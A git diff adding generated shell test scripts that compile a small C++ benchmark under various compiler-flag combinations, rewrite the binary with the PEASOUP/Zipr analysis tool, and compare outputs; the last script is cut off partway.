+# ATTRIBUTE TestName="ps_micro_test foo"
+# ATTRIBUTE BenchmarkName=foo
+
+BENCHNAME=foo
+COMPFLAGS="  -O3 -fPIC -fomit-frame-pointer   -m64"
+
+outfile=$1
+
+export LD_LIBRARY_PATH=$LD_LIBRARY_PATH:$STRATA/lib/
+
+cleanup()
+{
+	exit_code=$1
+	shift
+	msg=$*
+
+	if [ $exit_code -ne 0 ]; then 
+		report_test_failure $outfile "Intermediate step failed, exit code is $exit_code, msg='$msg'"
+	fi
+
+	if [ -z $NO_CLEANUP ]; then
+		rm -rf peasoup_executable*
+
+		# remove intermediate results directory
+		rm -rf test_output
+		rm $test_binary $analyzed_binary
+	fi
+
+	exit $exit_code
+}
+
+# suck in utils
+. ${TEST_HARNESS_HOME}/test_utils.sh || cleanup 1 "Cannot source utils file"
+
+assert_test_args $*
+assert_test_env $outfile STRATAFIER STRATA TOOLCHAIN STRATAFIER_OBJCOPY THTTPD_HOME THTTPD_INSTALL ZIPR_HOME ZIPR_INSTALL ZIPR_CALLBACKS ZIPR_SDK ZIPR_SCFI_PLUGIN PEASOUP_HOME SMPSA_HOME IDAROOTCUR IDASDKCUR SECURITY_TRANSFORMS_HOME
+
+# set up IDA environment variables
+export IDAROOT=$IDAROOTCUR
+export IDASDK=$IDASDKCUR
+
+# set up IRDB variables
+export PGHOST=127.0.0.1
+export PGUSER=$USER
+export PGPORT=5432
+export PGDATABASE=peasoup_$USER
+
+# path to source
+testloc=${PEASOUP_HOME}/tests/test_scripts
+
+# compile  
+# g++ -w $start_files $arch $opt $pic $fp $debug test.cpp foo.cpp
+# g++ -w $start_files $arch $opt $pic $fp $debug sample.cpp
+
+# figure this out!!!
+test_binary=orig.$$
+analyzed_binary=${test_binary}.zipr
+
+g++ -w ${testloc}/$BENCHNAME.cpp  ${testloc}/test.cpp $COMPFLAGS -o ${test_binary} || cleanup 2 "g++ failed"
+
+# sanity check the compile
+if [ ! -f ${test_binary} ]; then cleanup 3 "Failed to create ${test_binary}"; fi
+
+# make sure that the test_output directory exists
+mkdir -p test_output
+
+# run the un-analyzed binary and save for comparison
+./${test_binary} 3 > test_output/${test_binary}.out
+
+# save the original retval
+orig_retval=$?
+
+#  analyze
+$PEASOUP_HOME/tools/ps_analyze.sh ${test_binary}  ${analyzed_binary} --step ilr=on  --backend zipr || cleanup 4 "ps_analyze failed"
+
+# run program 
+./${analyzed_binary} 3 > test_output/${analyzed_binary}.out
+retval=$?
+
+# check the retval diff but it's not necessarily a problem?
+if [ ${orig_retval} -ne ${retval} ]; then
+	echo "original retval: ${orig_retval} does not match analyzed retval: ${retval}"
+fi
+
+# diff the output
+diff test_output/${test_binary}.out test_output/${analyzed_binary}.out
+if [ $? -ne 0 ]; then
+	echo "The original and analyzed outputs differ."
+fi
+
+# report
+report_test_result $outfile $retval "Return value of protected run was: $retval" || cleanup 6 "Reporting failed?"
+
+# cleanup
+cleanup 0 "Success!"
diff --git a/peasoup_examples/tests/test_scripts/foo_tests/foo.zipr.startfile.-O3.-fPIC.no_omit-fp.-g.-m32.sh b/peasoup_examples/tests/test_scripts/foo_tests/foo.zipr.startfile.-O3.-fPIC.no_omit-fp.-g.-m32.sh
new file mode 100644
index 0000000000000000000000000000000000000000..cd89a0971c5eb22fcfc014269d1e3f8a4120693d
--- /dev/null
+++ b/peasoup_examples/tests/test_scripts/foo_tests/foo.zipr.startfile.-O3.-fPIC.no_omit-fp.-g.-m32.sh
@@ -0,0 +1,136 @@
+#!/bin/sh -x
+
+# Assumptions:
+# 	$1 is the full pathname to output file
+
+
+# For PEASOUP Test Data Manager, Required XML fields are
+# name - name of the test
+# host - name of the host where the test was run
+# project - project name
+# date_time - date time in specific format date +%FT%R:%S
+# key_value pairs, any number
+#   may include result, user, host platform, build platform
+
+
+# Fixed attributes
+# ATTRIBUTE ModDep=diablo_toolchain
+# ATTRIBUTE ModDep=binutils-2.19
+# ATTRIBUTE ModDep=idaproCur
+# ATTRIBUTE ModDep=idaproCur_sdk
+# ATTRIBUTE ModDep=peasoup_examples
+# ATTRIBUTE ModDep=security_transforms
+# ATTRIBUTE ModDep=SMPStaticAnalyzer
+# ATTRIBUTE ModDep=strata
+# ATTRIBUTE ModDep=stratafier
+# ATTRIBUTE ModDep=zipr
+# ATTRIBUTE ModDep=zipr_sdk
+# ATTRIBUTE ModDep=zipr_callbacks
+# ATTRIBUTE ModDep=zipr_push64_reloc_plugin
+# ATTRIBUTE ModDep=zipr_scfi_plugin
+# ATTRIBUTE ModDep=zipr_install
+# ATTRIBUTE TestsWhat=lang_C
+# ATTRIBUTE TestsWhat=zipr
+# ATTRIBUTE OS=linux
+# ATTRIBUTE BenchmarkSuite=peasoup_micro_tests
+# ATTRIBUTE Compiler=g++
+# ATTRIBUTE CompilerFlags="  -O3 -fPIC   -g -m32"
+
+
+# Filled in by test generator
+# ATTRIBUTE Arch=x86_32
+# ATTRIBUTE TestName="ps_micro_test foo"
+# ATTRIBUTE BenchmarkName=foo
+
+BENCHNAME=foo
+COMPFLAGS="  -O3 -fPIC   -g -m32"
+
+outfile=$1
+
+export LD_LIBRARY_PATH=$LD_LIBRARY_PATH:$STRATA/lib/
+
+cleanup()
+{
+	exit_code=$1
+	shift
+	msg=$*
+
+	if [ $exit_code -ne 0 ]; then 
+		report_test_failure $outfile "Intermediate step failed, exit code is $exit_code, msg='$msg'"
+	fi
+
+	if [ -z $NO_CLEANUP ]; then
+		rm -rf peasoup_executable*
+
+		# remove intermediate results directory
+		rm -rf test_output
+		rm $test_binary $analyzed_binary
+	fi
+
+	exit $exit_code
+}
+
+# suck in utils
+. ${TEST_HARNESS_HOME}/test_utils.sh || cleanup 1 "Cannot source utils file"
+
+assert_test_args $*
+assert_test_env $outfile STRATAFIER STRATA TOOLCHAIN STRATAFIER_OBJCOPY THTTPD_HOME THTTPD_INSTALL ZIPR_HOME ZIPR_INSTALL ZIPR_CALLBACKS ZIPR_SDK ZIPR_SCFI_PLUGIN PEASOUP_HOME SMPSA_HOME IDAROOTCUR IDASDKCUR SECURITY_TRANSFORMS_HOME
+
+# set up IDA environment variables
+export IDAROOT=$IDAROOTCUR
+export IDASDK=$IDASDKCUR
+
+# set up IRDB variables
+export PGHOST=127.0.0.1
+export PGUSER=$USER
+export PGPORT=5432
+export PGDATABASE=peasoup_$USER
+
+# path to source
+testloc=${PEASOUP_HOME}/tests/test_scripts
+
+# compile  
+# g++ -w $start_files $arch $opt $pic $fp $debug test.cpp foo.cpp
+# g++ -w $start_files $arch $opt $pic $fp $debug sample.cpp
+
+# figure this out!!!
+test_binary=orig.$$
+analyzed_binary=${test_binary}.zipr
+
+g++ -w ${testloc}/$BENCHNAME.cpp  ${testloc}/test.cpp $COMPFLAGS -o ${test_binary} || cleanup 2 "g++ failed"
+
+# sanity check the compile
+if [ ! -f ${test_binary} ]; then cleanup 3 "Failed to create ${test_binary}"; fi
+
+# make sure that the test_output directory exists
+mkdir -p test_output
+
+# run the un-analyzed binary and save for comparison
+./${test_binary} 3 > test_output/${test_binary}.out
+
+# save the original retval
+orig_retval=$?
+
+#  analyze
+$PEASOUP_HOME/tools/ps_analyze.sh ${test_binary}  ${analyzed_binary} --step ilr=on  --backend zipr || cleanup 4 "ps_analyze failed"
+
+# run program 
+./${analyzed_binary} 3 > test_output/${analyzed_binary}.out
+retval=$?
+
+# check the retval diff but it's not necessarily a problem?
+if [ ${orig_retval} -ne ${retval} ]; then
+	echo "original retval: ${orig_retval} does not match analyzed retval: ${retval}"
+fi
+
+# diff the output
+diff test_output/${test_binary}.out test_output/${analyzed_binary}.out
+if [ $? -ne 0 ]; then
+	echo "The original and analyzed outputs differ."
+fi
+
+# report
+report_test_result $outfile $retval "Return value of protected run was: $retval" || cleanup 6 "Reporting failed?"
+
+# cleanup
+cleanup 0 "Success!"
diff --git a/peasoup_examples/tests/test_scripts/foo_tests/foo.zipr.startfile.-O3.-fPIC.no_omit-fp.-g.-m64.sh b/peasoup_examples/tests/test_scripts/foo_tests/foo.zipr.startfile.-O3.-fPIC.no_omit-fp.-g.-m64.sh
new file mode 100644
index 0000000000000000000000000000000000000000..42e01dc5dec7e89f92a75410f7763eb0051ef2c2
--- /dev/null
+++ b/peasoup_examples/tests/test_scripts/foo_tests/foo.zipr.startfile.-O3.-fPIC.no_omit-fp.-g.-m64.sh
@@ -0,0 +1,136 @@
+#!/bin/sh -x
+
+# Assumptions:
+# 	$1 is the full pathname to output file
+
+
+# For PEASOUP Test Data Manager, Required XML fields are
+# name - name of the test
+# host - name of the host where the test was run
+# project - project name
+# date_time - date time in specific format date +%FT%R:%S
+# key_value pairs, any number
+#   may include result, user, host platform, build platform
+
+
+# Fixed attributes
+# ATTRIBUTE ModDep=diablo_toolchain
+# ATTRIBUTE ModDep=binutils-2.19
+# ATTRIBUTE ModDep=idaproCur
+# ATTRIBUTE ModDep=idaproCur_sdk
+# ATTRIBUTE ModDep=peasoup_examples
+# ATTRIBUTE ModDep=security_transforms
+# ATTRIBUTE ModDep=SMPStaticAnalyzer
+# ATTRIBUTE ModDep=strata
+# ATTRIBUTE ModDep=stratafier
+# ATTRIBUTE ModDep=zipr
+# ATTRIBUTE ModDep=zipr_sdk
+# ATTRIBUTE ModDep=zipr_callbacks
+# ATTRIBUTE ModDep=zipr_push64_reloc_plugin
+# ATTRIBUTE ModDep=zipr_scfi_plugin
+# ATTRIBUTE ModDep=zipr_install
+# ATTRIBUTE TestsWhat=lang_C
+# ATTRIBUTE TestsWhat=zipr
+# ATTRIBUTE OS=linux
+# ATTRIBUTE BenchmarkSuite=peasoup_micro_tests
+# ATTRIBUTE Compiler=g++
+# ATTRIBUTE CompilerFlags="  -O3 -fPIC   -g -m64"
+
+
+# Filled in by test generator
+# ATTRIBUTE Arch=x86_64
+# ATTRIBUTE TestName="ps_micro_test foo"
+# ATTRIBUTE BenchmarkName=foo
+
+BENCHNAME=foo
+COMPFLAGS="  -O3 -fPIC   -g -m64"
+
+outfile=$1
+
+export LD_LIBRARY_PATH=$LD_LIBRARY_PATH:$STRATA/lib/
+
+cleanup()
+{
+	exit_code=$1
+	shift
+	msg=$*
+
+	if [ $exit_code -ne 0 ]; then 
+		report_test_failure $outfile "Intermediate step failed, exit code is $exit_code, msg='$msg'"
+	fi
+
+	if [ -z $NO_CLEANUP ]; then
+		rm -rf peasoup_executable*
+
+		# remove intermediate results directory
+		rm -rf test_output
+		rm $test_binary $analyzed_binary
+	fi
+
+	exit $exit_code
+}
+
+# suck in utils
+. ${TEST_HARNESS_HOME}/test_utils.sh || cleanup 1 "Cannot source utils file"
+
+assert_test_args $*
+assert_test_env $outfile STRATAFIER STRATA TOOLCHAIN STRATAFIER_OBJCOPY THTTPD_HOME THTTPD_INSTALL ZIPR_HOME ZIPR_INSTALL ZIPR_CALLBACKS ZIPR_SDK ZIPR_SCFI_PLUGIN PEASOUP_HOME SMPSA_HOME IDAROOTCUR IDASDKCUR SECURITY_TRANSFORMS_HOME
+
+# set up IDA environment variables
+export IDAROOT=$IDAROOTCUR
+export IDASDK=$IDASDKCUR
+
+# set up IRDB variables
+export PGHOST=127.0.0.1
+export PGUSER=$USER
+export PGPORT=5432
+export PGDATABASE=peasoup_$USER
+
+# path to source
+testloc=${PEASOUP_HOME}/tests/test_scripts
+
+# compile  
+# g++ -w $start_files $arch $opt $pic $fp $debug test.cpp foo.cpp
+# g++ -w $start_files $arch $opt $pic $fp $debug sample.cpp
+
+# figure this out!!!
+test_binary=orig.$$
+analyzed_binary=${test_binary}.zipr
+
+g++ -w ${testloc}/$BENCHNAME.cpp  ${testloc}/test.cpp $COMPFLAGS -o ${test_binary} || cleanup 2 "g++ failed"
+
+# sanity check the compile
+if [ ! -f ${test_binary} ]; then cleanup 3 "Failed to create ${test_binary}"; fi
+
+# make sure that the test_output directory exists
+mkdir -p test_output
+
+# run the un-analyzed binary and save for comparison
+./${test_binary} 3 > test_output/${test_binary}.out
+
+# save the original retval
+orig_retval=$?
+
+#  analyze
+$PEASOUP_HOME/tools/ps_analyze.sh ${test_binary}  ${analyzed_binary} --step ilr=on  --backend zipr || cleanup 4 "ps_analyze failed"
+
+# run program 
+./${analyzed_binary} 3 > test_output/${analyzed_binary}.out
+retval=$?
+
+# check the retval diff but it's not necessarily a problem?
+if [ ${orig_retval} -ne ${retval} ]; then
+	echo "original retval: ${orig_retval} does not match analyzed retval: ${retval}"
+fi
+
+# diff the output
+diff test_output/${test_binary}.out test_output/${analyzed_binary}.out
+if [ $? -ne 0 ]; then
+	echo "The original and analyzed outputs differ."
+fi
+
+# report
+report_test_result $outfile $retval "Return value of protected run was: $retval" || cleanup 6 "Reporting failed?"
+
+# cleanup
+cleanup 0 "Success!"
diff --git a/peasoup_examples/tests/test_scripts/foo_tests/foo.zipr.startfile.-O3.-fPIC.no_omit-fp.no_debug.-m32.sh b/peasoup_examples/tests/test_scripts/foo_tests/foo.zipr.startfile.-O3.-fPIC.no_omit-fp.no_debug.-m32.sh
new file mode 100644
index 0000000000000000000000000000000000000000..b5f3cd75c907888feb6bb2ea65366645c3f45a54
--- /dev/null
+++ b/peasoup_examples/tests/test_scripts/foo_tests/foo.zipr.startfile.-O3.-fPIC.no_omit-fp.no_debug.-m32.sh
@@ -0,0 +1,136 @@
+#!/bin/sh -x
+
+# Assumptions:
+# 	$1 is the full pathname to output file
+
+
+# For PEASOUP Test Data Manager, Required XML fields are
+# name - name of the test
+# host - name of the host where the test was run
+# project - project name
+# date_time - date time in specific format date +%FT%R:%S
+# key_value pairs, any number
+#   may include result, user, host platform, build platform
+
+
+# Fixed attributes
+# ATTRIBUTE ModDep=diablo_toolchain
+# ATTRIBUTE ModDep=binutils-2.19
+# ATTRIBUTE ModDep=idaproCur
+# ATTRIBUTE ModDep=idaproCur_sdk
+# ATTRIBUTE ModDep=peasoup_examples
+# ATTRIBUTE ModDep=security_transforms
+# ATTRIBUTE ModDep=SMPStaticAnalyzer
+# ATTRIBUTE ModDep=strata
+# ATTRIBUTE ModDep=stratafier
+# ATTRIBUTE ModDep=zipr
+# ATTRIBUTE ModDep=zipr_sdk
+# ATTRIBUTE ModDep=zipr_callbacks
+# ATTRIBUTE ModDep=zipr_push64_reloc_plugin
+# ATTRIBUTE ModDep=zipr_scfi_plugin
+# ATTRIBUTE ModDep=zipr_install
+# ATTRIBUTE TestsWhat=lang_C
+# ATTRIBUTE TestsWhat=zipr
+# ATTRIBUTE OS=linux
+# ATTRIBUTE BenchmarkSuite=peasoup_micro_tests
+# ATTRIBUTE Compiler=g++
+# ATTRIBUTE CompilerFlags="  -O3 -fPIC     -m32"
+
+
+# Filled in by test generator
+# ATTRIBUTE Arch=x86_32
+# ATTRIBUTE TestName="ps_micro_test foo"
+# ATTRIBUTE BenchmarkName=foo
+
+BENCHNAME=foo
+COMPFLAGS="  -O3 -fPIC     -m32"
+
+outfile=$1
+
+export LD_LIBRARY_PATH=$LD_LIBRARY_PATH:$STRATA/lib/
+
+cleanup()
+{
+	exit_code=$1
+	shift
+	msg=$*
+
+	if [ $exit_code -ne 0 ]; then 
+		report_test_failure $outfile "Intermediate step failed, exit code is $exit_code, msg='$msg'"
+	fi
+
+	if [ -z $NO_CLEANUP ]; then
+		rm -rf peasoup_executable*
+
+		# remove intermediate results directory
+		rm -rf test_output
+		rm $test_binary $analyzed_binary
+	fi
+
+	exit $exit_code
+}
+
+# suck in utils
+. ${TEST_HARNESS_HOME}/test_utils.sh || cleanup 1 "Cannot source utils file"
+
+assert_test_args $*
+assert_test_env $outfile STRATAFIER STRATA TOOLCHAIN STRATAFIER_OBJCOPY THTTPD_HOME THTTPD_INSTALL ZIPR_HOME ZIPR_INSTALL ZIPR_CALLBACKS ZIPR_SDK ZIPR_SCFI_PLUGIN PEASOUP_HOME SMPSA_HOME IDAROOTCUR IDASDKCUR SECURITY_TRANSFORMS_HOME
+
+# set up IDA environment variables
+export IDAROOT=$IDAROOTCUR
+export IDASDK=$IDASDKCUR
+
+# set up IRDB variables
+export PGHOST=127.0.0.1
+export PGUSER=$USER
+export PGPORT=5432
+export PGDATABASE=peasoup_$USER
+
+# path to source
+testloc=${PEASOUP_HOME}/tests/test_scripts
+
+# compile  
+# g++ -w $start_files $arch $opt $pic $fp $debug test.cpp foo.cpp
+# g++ -w $start_files $arch $opt $pic $fp $debug sample.cpp
+
+# figure this out!!!
+test_binary=orig.$$
+analyzed_binary=${test_binary}.zipr
+
+g++ -w ${testloc}/$BENCHNAME.cpp  ${testloc}/test.cpp $COMPFLAGS -o ${test_binary} || cleanup 2 "g++ failed"
+
+# sanity check the compile
+if [ ! -f ${test_binary} ]; then cleanup 3 "Failed to create ${test_binary}"; fi
+
+# make sure that the test_output directory exists
+mkdir -p test_output
+
+# run the un-analyzed binary and save for comparison
+./${test_binary} 3 > test_output/${test_binary}.out
+
+# save the original retval
+orig_retval=$?
+
+#  analyze
+$PEASOUP_HOME/tools/ps_analyze.sh ${test_binary}  ${analyzed_binary} --step ilr=on  --backend zipr || cleanup 4 "ps_analyze failed"
+
+# run program 
+./${analyzed_binary} 3 > test_output/${analyzed_binary}.out
+retval=$?
+
+# check the retval diff but it's not necessarily a problem?
+if [ ${orig_retval} -ne ${retval} ]; then
+	echo "original retval: ${orig_retval} does not match analyzed retval: ${retval}"
+fi
+
+# diff the output
+diff test_output/${test_binary}.out test_output/${analyzed_binary}.out
+if [ $? -ne 0 ]; then
+	echo "The original and analyzed outputs differ."
+fi
+
+# report
+report_test_result $outfile $retval "Return value of protected run was: $retval" || cleanup 6 "Reporting failed?"
+
+# cleanup
+cleanup 0 "Success!"
diff --git a/peasoup_examples/tests/test_scripts/foo_tests/foo.zipr.startfile.-O3.-fPIC.no_omit-fp.no_debug.-m64.sh b/peasoup_examples/tests/test_scripts/foo_tests/foo.zipr.startfile.-O3.-fPIC.no_omit-fp.no_debug.-m64.sh
new file mode 100644
index 0000000000000000000000000000000000000000..26b697de1acc57abff264a8d50026e828496dee3
--- /dev/null
+++ b/peasoup_examples/tests/test_scripts/foo_tests/foo.zipr.startfile.-O3.-fPIC.no_omit-fp.no_debug.-m64.sh
@@ -0,0 +1,136 @@
+#!/bin/sh -x
+
+# Assumptions:
+# 	$1 is the full pathname to output file
+
+
+# For PEASOUP Test Data Manager, Required XML fields are
+# name - name of the test
+# host - name of the host where the test was run
+# project - project name
+# date_time - date time in specific format date +%FT%R:%S
+# key_value pairs, any number
+#   may include result, user, host platform, build platform
+
+
+# Fixed attributes
+# ATTRIBUTE ModDep=diablo_toolchain
+# ATTRIBUTE ModDep=binutils-2.19
+# ATTRIBUTE ModDep=idaproCur
+# ATTRIBUTE ModDep=idaproCur_sdk
+# ATTRIBUTE ModDep=peasoup_examples
+# ATTRIBUTE ModDep=security_transforms
+# ATTRIBUTE ModDep=SMPStaticAnalyzer
+# ATTRIBUTE ModDep=strata
+# ATTRIBUTE ModDep=stratafier
+# ATTRIBUTE ModDep=zipr
+# ATTRIBUTE ModDep=zipr_sdk
+# ATTRIBUTE ModDep=zipr_callbacks
+# ATTRIBUTE ModDep=zipr_push64_reloc_plugin
+# ATTRIBUTE ModDep=zipr_scfi_plugin
+# ATTRIBUTE ModDep=zipr_install
+# ATTRIBUTE TestsWhat=lang_C
+# ATTRIBUTE TestsWhat=zipr
+# ATTRIBUTE OS=linux
+# ATTRIBUTE BenchmarkSuite=peasoup_micro_tests
+# ATTRIBUTE Compiler=g++
+# ATTRIBUTE CompilerFlags="  -O3 -fPIC     -m64"
+
+
+# Filled in by test generator
+# ATTRIBUTE Arch=x86_64
+# ATTRIBUTE TestName="ps_micro_test foo"
+# ATTRIBUTE BenchmarkName=foo
+
+BENCHNAME=foo
+COMPFLAGS="  -O3 -fPIC     -m64"
+
+outfile=$1
+
+export LD_LIBRARY_PATH=$LD_LIBRARY_PATH:$STRATA/lib/
+
+cleanup()
+{
+	exit_code=$1
+	shift
+	msg=$*
+
+	if [ $exit_code -ne 0 ]; then 
+		report_test_failure $outfile "Intermediate step failed, exit code is $exit_code, msg='$msg'"
+	fi
+
+	if [ -z $NO_CLEANUP ]; then
+		rm -rf peasoup_executable*
+
+		# remove intermediate results directory
+		rm -rf test_output
+		rm $test_binary $analyzed_binary
+	fi
+
+	exit $exit_code
+}
+
+# suck in utils
+. ${TEST_HARNESS_HOME}/test_utils.sh || cleanup 1 "Cannot source utils file"
+
+assert_test_args $*
+assert_test_env $outfile STRATAFIER STRATA TOOLCHAIN STRATAFIER_OBJCOPY THTTPD_HOME THTTPD_INSTALL ZIPR_HOME ZIPR_INSTALL ZIPR_CALLBACKS ZIPR_SDK ZIPR_SCFI_PLUGIN PEASOUP_HOME SMPSA_HOME IDAROOTCUR IDASDKCUR SECURITY_TRANSFORMS_HOME
+
+# set up IDA environment variables
+export IDAROOT=$IDAROOTCUR
+export IDASDK=$IDASDKCUR
+
+# set up IRDB variables
+export PGHOST=127.0.0.1
+export PGUSER=$USER
+export PGPORT=5432
+export PGDATABASE=peasoup_$USER
+
+# path to source
+testloc=${PEASOUP_HOME}/tests/test_scripts
+
+# compile  
+# g++ -w $start_files $arch $opt $pic $fp $debug test.cpp foo.cpp
+# g++ -w $start_files $arch $opt $pic $fp $debug sample.cpp
+
+# figure this out!!!
+test_binary=orig.$$
+analyzed_binary=${test_binary}.zipr
+
+g++ -w ${testloc}/$BENCHNAME.cpp  ${testloc}/test.cpp $COMPFLAGS -o ${test_binary} || cleanup 2 "g++ failed"
+
+# sanity check the compile
+if [ ! -f ${test_binary} ]; then cleanup 3 "Failed to create ${test_binary}"; fi
+
+# make sure that the test_output directory exists
+mkdir -p test_output
+
+# run the un-analyzed binary and save for comparison
+./${test_binary} 3 > test_output/${test_binary}.out
+
+# save the original retval
+orig_retval=$?
+
+#  analyze
+$PEASOUP_HOME/tools/ps_analyze.sh ${test_binary}  ${analyzed_binary} --step ilr=on  --backend zipr || cleanup 4 "ps_analyze failed"
+
+# run program 
+./${analyzed_binary} 3 > test_output/${analyzed_binary}.out
+retval=$?
+
+# check the retval diff but it's not necessarily a problem?
+if [ ${orig_retval} -ne ${retval} ]; then
+	echo "original retval: ${orig_retval} does not match analyzed retval: ${retval}"
+fi
+
+# diff the output
+diff test_output/${test_binary}.out test_output/${analyzed_binary}.out
+if [ $? -ne 0 ]; then
+	echo "The original and analyzed outputs differ."
+fi
+
+# report
+report_test_result $outfile $retval "Return value of protected run was: $retval" || cleanup 6 "Reporting failed?"
+
+# cleanup
+cleanup 0 "Success!"
diff --git a/peasoup_examples/tests/test_scripts/foo_tests/foo.zipr.startfile.-O3.no_pic.-fomit-frame-pointer.-g.-m32.sh b/peasoup_examples/tests/test_scripts/foo_tests/foo.zipr.startfile.-O3.no_pic.-fomit-frame-pointer.-g.-m32.sh
new file mode 100644
index 0000000000000000000000000000000000000000..32f7a6d10abd458f72bdaa03762c38ce8d0ffe86
--- /dev/null
+++ b/peasoup_examples/tests/test_scripts/foo_tests/foo.zipr.startfile.-O3.no_pic.-fomit-frame-pointer.-g.-m32.sh
@@ -0,0 +1,136 @@
+#!/bin/sh -x
+
+# Assumptions:
+# 	$1 is the full pathname to output file
+
+
+# For PEASOUP Test Data Manager, Required XML fields are
+# name - name of the test
+# host - name of the host where the test was run
+# project - project name
+# date_time - date time in specific format date +%FT%R:%S
+# key_value pairs, any number
+#   may include result, user, host platform, build platform
+
+
+# Fixed attributes
+# ATTRIBUTE ModDep=diablo_toolchain
+# ATTRIBUTE ModDep=binutils-2.19
+# ATTRIBUTE ModDep=idaproCur
+# ATTRIBUTE ModDep=idaproCur_sdk
+# ATTRIBUTE ModDep=peasoup_examples
+# ATTRIBUTE ModDep=security_transforms
+# ATTRIBUTE ModDep=SMPStaticAnalyzer
+# ATTRIBUTE ModDep=strata
+# ATTRIBUTE ModDep=stratafier
+# ATTRIBUTE ModDep=zipr
+# ATTRIBUTE ModDep=zipr_sdk
+# ATTRIBUTE ModDep=zipr_callbacks
+# ATTRIBUTE ModDep=zipr_push64_reloc_plugin
+# ATTRIBUTE ModDep=zipr_scfi_plugin
+# ATTRIBUTE ModDep=zipr_install
+# ATTRIBUTE TestsWhat=lang_C
+# ATTRIBUTE TestsWhat=zipr
+# ATTRIBUTE OS=linux
+# ATTRIBUTE BenchmarkSuite=peasoup_micro_tests
+# ATTRIBUTE Compiler=g++
+# ATTRIBUTE CompilerFlags="  -O3   -fomit-frame-pointer -g -m32"
+
+
+# Filled in by test generator
+# ATTRIBUTE Arch=x86_32
+# ATTRIBUTE TestName="ps_micro_test foo"
+# ATTRIBUTE BenchmarkName=foo
+
+BENCHNAME=foo
+COMPFLAGS="  -O3   -fomit-frame-pointer -g -m32"
+
+outfile=$1
+
+export LD_LIBRARY_PATH=$LD_LIBRARY_PATH:$STRATA/lib/
+
+cleanup()
+{
+	exit_code=$1
+	shift
+	msg=$*
+
+	if [ $exit_code -ne 0 ]; then 
+		report_test_failure $outfile "Intermediate step failed, exit code is $exit_code, msg='$msg'"
+	fi
+
+	if [ -z $NO_CLEANUP ]; then
+		rm -rf peasoup_executable*
+
+		# remove intermediate results directory
+		rm -rf test_output
+		rm $test_binary $analyzed_binary
+	fi
+
+	exit $exit_code
+}
+
+# suck in utils
+. ${TEST_HARNESS_HOME}/test_utils.sh || cleanup 1 "Cannot source utils file"
+
+assert_test_args $*
+assert_test_env $outfile STRATAFIER STRATA TOOLCHAIN STRATAFIER_OBJCOPY THTTPD_HOME THTTPD_INSTALL ZIPR_HOME ZIPR_INSTALL ZIPR_CALLBACKS ZIPR_SDK ZIPR_SCFI_PLUGIN PEASOUP_HOME SMPSA_HOME IDAROOTCUR IDASDKCUR SECURITY_TRANSFORMS_HOME
+
+# set up IDA environment variables
+export IDAROOT=$IDAROOTCUR
+export IDASDK=$IDASDKCUR
+
+# set up IRDB variables
+export PGHOST=127.0.0.1
+export PGUSER=$USER
+export PGPORT=5432
+export PGDATABASE=peasoup_$USER
+
+# path to source
+testloc=${PEASOUP_HOME}/tests/test_scripts
+
+# compile  
+# g++ -w $start_files $arch $opt $pic $fp $debug test.cpp foo.cpp
+# g++ -w $start_files $arch $opt $pic $fp $debug sample.cpp
+
+# figure this out!!!
+test_binary=orig.$$
+analyzed_binary=${test_binary}.zipr
+
+g++ -w ${testloc}/$BENCHNAME.cpp  ${testloc}/test.cpp $COMPFLAGS -o ${test_binary} || cleanup 2 "g++ failed"
+
+# sanity check the compile
+if [ ! -f ${test_binary} ]; then cleanup 3 "Failed to create ${test_binary}"; fi
+
+# make sure that the test_output directory exists
+mkdir -p test_output
+
+# run the un-analyzed binary and save for comparison
+./${test_binary} 3 > test_output/${test_binary}.out
+
+# save the original retval
+orig_retval=$?
+
+#  analyze
+$PEASOUP_HOME/tools/ps_analyze.sh ${test_binary}  ${analyzed_binary} --step ilr=on  --backend zipr || cleanup 4 "ps_analyze failed"
+
+# run program 
+./${analyzed_binary} 3 > test_output/${analyzed_binary}.out
+retval=$?
+
+# check the retval diff but it's not necessarily a problem?
+if [ ${orig_retval} -ne ${retval} ]; then
+	echo "original retval: ${orig_retval} does not match analyzed retval: ${retval}"
+fi
+
+# diff the output
+diff test_output/${test_binary}.out test_output/${analyzed_binary}.out
+if [ $? -ne 0 ]; then
+	echo "The original and analyzed outputs differ."
+fi
+
+# report
+report_test_result $outfile $retval "Return value of protected run was: $retval" || cleanup 6 "Reporting failed?"
+
+# cleanup
+cleanup 0 "Success!"
diff --git a/peasoup_examples/tests/test_scripts/foo_tests/foo.zipr.startfile.-O3.no_pic.-fomit-frame-pointer.-g.-m64.sh b/peasoup_examples/tests/test_scripts/foo_tests/foo.zipr.startfile.-O3.no_pic.-fomit-frame-pointer.-g.-m64.sh
new file mode 100644
index 0000000000000000000000000000000000000000..fef3bc137a17f6c23c51cbbfb0b0d2e184701ee5
--- /dev/null
+++ b/peasoup_examples/tests/test_scripts/foo_tests/foo.zipr.startfile.-O3.no_pic.-fomit-frame-pointer.-g.-m64.sh
@@ -0,0 +1,136 @@
+#!/bin/sh -x
+
+# Assumptions:
+# 	$1 is the full pathname to output file
+
+
+# For PEASOUP Test Data Manager, Required XML fields are
+# name - name of the test
+# host - name of the host where the test was run
+# project - project name
+# date_time - date time in specific format date +%FT%R:%S
+# key_value pairs, any number
+#   may include result, user, host platform, build platform
+
+
+# Fixed attributes
+# ATTRIBUTE ModDep=diablo_toolchain
+# ATTRIBUTE ModDep=binutils-2.19
+# ATTRIBUTE ModDep=idaproCur
+# ATTRIBUTE ModDep=idaproCur_sdk
+# ATTRIBUTE ModDep=peasoup_examples
+# ATTRIBUTE ModDep=security_transforms
+# ATTRIBUTE ModDep=SMPStaticAnalyzer
+# ATTRIBUTE ModDep=strata
+# ATTRIBUTE ModDep=stratafier
+# ATTRIBUTE ModDep=zipr
+# ATTRIBUTE ModDep=zipr_sdk
+# ATTRIBUTE ModDep=zipr_callbacks
+# ATTRIBUTE ModDep=zipr_push64_reloc_plugin
+# ATTRIBUTE ModDep=zipr_scfi_plugin
+# ATTRIBUTE ModDep=zipr_install
+# ATTRIBUTE TestsWhat=lang_C
+# ATTRIBUTE TestsWhat=zipr
+# ATTRIBUTE OS=linux
+# ATTRIBUTE BenchmarkSuite=peasoup_micro_tests
+# ATTRIBUTE Compiler=g++
+# ATTRIBUTE CompilerFlags="  -O3   -fomit-frame-pointer -g -m64"
+
+
+# Filled in by test generator
+# ATTRIBUTE Arch=x86_64
+# ATTRIBUTE TestName="ps_micro_test foo"
+# ATTRIBUTE BenchmarkName=foo
+
+BENCHNAME=foo
+COMPFLAGS="  -O3   -fomit-frame-pointer -g -m64"
+
+outfile=$1
+
+export LD_LIBRARY_PATH=$LD_LIBRARY_PATH:$STRATA/lib/
+
+cleanup()
+{
+	exit_code=$1
+	shift
